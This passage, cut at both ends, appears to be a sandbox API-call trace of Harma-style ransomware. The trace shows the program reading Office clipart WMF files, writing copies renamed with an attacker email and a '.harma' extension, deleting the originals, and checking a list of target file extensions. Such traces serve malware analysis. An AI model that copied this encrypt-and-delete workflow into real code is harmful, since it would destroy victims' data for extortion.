nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.305] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.305] SetEndOfFile (hFile=0x2e8) returned 1 [0150.305] CloseHandle (hObject=0x2e8) returned 1 [0150.305] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.305] SetEndOfFile (hFile=0x21c) returned 1 [0150.308] CloseHandle (hObject=0x21c) returned 1 [0150.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0150.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.309] lstrlenW (lpString=".doc") returned 4 [0150.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString=".docx") returned 5 [0150.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.309] lstrlenW (lpString=".pdf") returned 4 [0150.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString=".xls") returned 4 [0150.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.309] lstrlenW (lpString=".xlsx") returned 5 [0150.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.309] lstrlenW (lpString=".ppt") returned 4 [0150.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.309] lstrlenW (lpString=".zip") returned 4 [0150.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.309] lstrlenW (lpString=".rar") returned 4 [0150.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString=".bz2") returned 4 [0150.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString=".7z") returned 3 [0150.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.309] lstrlenW (lpString=".dbf") returned 4 [0150.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.309] lstrlenW (lpString=".1cd") returned 4 [0150.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.309] lstrlenW (lpString=".jpg") returned 4 [0150.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.310] lstrlenW (lpString=".doc") returned 4 [0150.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString=".docx") returned 5 [0150.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.310] lstrlenW (lpString=".pdf") returned 4 [0150.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString=".xls") returned 4 [0150.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.310] lstrlenW (lpString=".xlsx") returned 5 [0150.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.310] lstrlenW (lpString=".ppt") returned 4 [0150.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.310] lstrlenW (lpString=".zip") returned 4 [0150.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.310] lstrlenW (lpString=".rar") returned 4 [0150.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString=".bz2") returned 4 [0150.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString=".7z") returned 3 [0150.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.310] lstrlenW (lpString=".dbf") returned 4 [0150.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.310] lstrlenW (lpString=".1cd") returned 4 [0150.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0150.310] lstrlenW (lpString=".jpg") returned 4 [0150.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.311] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.311] lstrlenW (lpString="DD00437_.WMF") returned 12 [0150.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.311] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1932) returned 1 [0150.311] CloseHandle (hObject=0x21c) returned 1 [0150.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0150.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.312] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.312] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.313] GetLastError () returned 0x0 [0150.313] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x78c, lpOverlapped=0x0) returned 1 [0150.315] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x790, lpOverlapped=0x0) returned 1 [0150.316] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.316] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.316] SetEndOfFile (hFile=0x2e8) returned 1 [0150.316] CloseHandle (hObject=0x2e8) returned 1 [0150.316] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.316] SetEndOfFile (hFile=0x21c) returned 1 [0150.319] CloseHandle (hObject=0x21c) returned 1 [0150.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0150.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.320] lstrlenW (lpString=".doc") returned 4 [0150.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.320] lstrlenW (lpString=".docx") returned 5 [0150.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.320] lstrlenW (lpString=".pdf") returned 4 [0150.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.320] lstrlenW (lpString=".xls") returned 4 [0150.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.320] lstrlenW (lpString=".xlsx") returned 5 [0150.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.320] lstrlenW (lpString=".ppt") returned 4 [0150.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.320] lstrlenW (lpString=".zip") returned 4 [0150.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.320] lstrlenW (lpString=".rar") returned 4 [0150.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.320] lstrlenW (lpString=".bz2") returned 4 [0150.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString=".7z") returned 3 [0150.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.321] lstrlenW (lpString=".dbf") returned 4 [0150.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.321] lstrlenW (lpString=".1cd") returned 4 [0150.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.321] lstrlenW (lpString=".jpg") returned 4 [0150.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.321] lstrlenW (lpString=".doc") returned 4 [0150.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString=".docx") returned 5 [0150.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.321] lstrlenW (lpString=".pdf") returned 4 [0150.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString=".xls") returned 4 [0150.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.321] lstrlenW (lpString=".xlsx") returned 5 [0150.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.321] lstrlenW (lpString=".ppt") returned 4 [0150.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.321] lstrlenW (lpString=".zip") returned 4 [0150.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.322] lstrlenW (lpString=".rar") returned 4 [0150.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.322] lstrlenW (lpString=".bz2") returned 4 [0150.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.322] lstrlenW (lpString=".7z") returned 3 [0150.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.322] lstrlenW (lpString=".dbf") returned 4 [0150.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.322] lstrlenW (lpString=".1cd") returned 4 [0150.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0150.322] lstrlenW (lpString=".jpg") returned 4 [0150.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.322] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.322] lstrlenW (lpString="DD00448_.WMF") returned 12 [0150.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.324] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2952) returned 1 [0150.324] CloseHandle (hObject=0x21c) returned 1 [0150.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0150.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.324] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.324] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.325] GetLastError () returned 0x0 [0150.325] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xb88, lpOverlapped=0x0) returned 1 [0150.327] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xb90, lpOverlapped=0x0) returned 1 [0150.327] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.327] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.328] SetEndOfFile (hFile=0x2e8) returned 1 [0150.328] CloseHandle (hObject=0x2e8) returned 1 [0150.328] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.328] SetEndOfFile (hFile=0x21c) returned 1 [0150.330] CloseHandle (hObject=0x21c) returned 1 [0150.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0150.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.331] lstrlenW (lpString=".doc") returned 4 [0150.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.331] lstrlenW (lpString=".docx") returned 5 [0150.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.331] lstrlenW (lpString=".pdf") returned 4 [0150.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.331] lstrlenW (lpString=".xls") returned 4 [0150.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.331] lstrlenW (lpString=".xlsx") returned 5 [0150.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.331] lstrlenW (lpString=".ppt") returned 4 [0150.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.332] lstrlenW (lpString=".zip") returned 4 [0150.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.332] lstrlenW (lpString=".rar") returned 4 [0150.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString=".bz2") returned 4 [0150.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString=".7z") returned 3 [0150.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.332] lstrlenW (lpString=".dbf") returned 4 [0150.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.332] lstrlenW (lpString=".1cd") returned 4 [0150.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.332] lstrlenW (lpString=".jpg") returned 4 [0150.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.332] lstrlenW (lpString=".doc") returned 4 [0150.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString=".docx") returned 5 [0150.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.332] lstrlenW (lpString=".pdf") returned 4 [0150.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.332] lstrlenW (lpString=".xls") returned 4 [0150.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.333] lstrlenW (lpString=".xlsx") returned 5 [0150.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.333] lstrlenW (lpString=".ppt") returned 4 [0150.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.333] lstrlenW (lpString=".zip") returned 4 [0150.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.333] lstrlenW (lpString=".rar") returned 4 [0150.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.333] lstrlenW (lpString=".bz2") returned 4 [0150.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.333] lstrlenW (lpString=".7z") returned 3 [0150.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.333] lstrlenW (lpString=".dbf") returned 4 [0150.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.333] lstrlenW (lpString=".1cd") returned 4 [0150.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0150.333] lstrlenW (lpString=".jpg") returned 4 [0150.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.333] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.333] lstrlenW (lpString="DD00449_.WMF") returned 12 [0150.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.334] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=9992) returned 1 [0150.334] CloseHandle (hObject=0x21c) returned 1 [0150.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0150.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.334] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.334] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.335] GetLastError () returned 0x0 [0150.335] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2708, lpOverlapped=0x0) returned 1 [0150.337] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2710, lpOverlapped=0x0) returned 1 [0150.338] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.338] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.338] SetEndOfFile (hFile=0x2e8) returned 1 [0150.338] CloseHandle (hObject=0x2e8) returned 1 [0150.338] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) 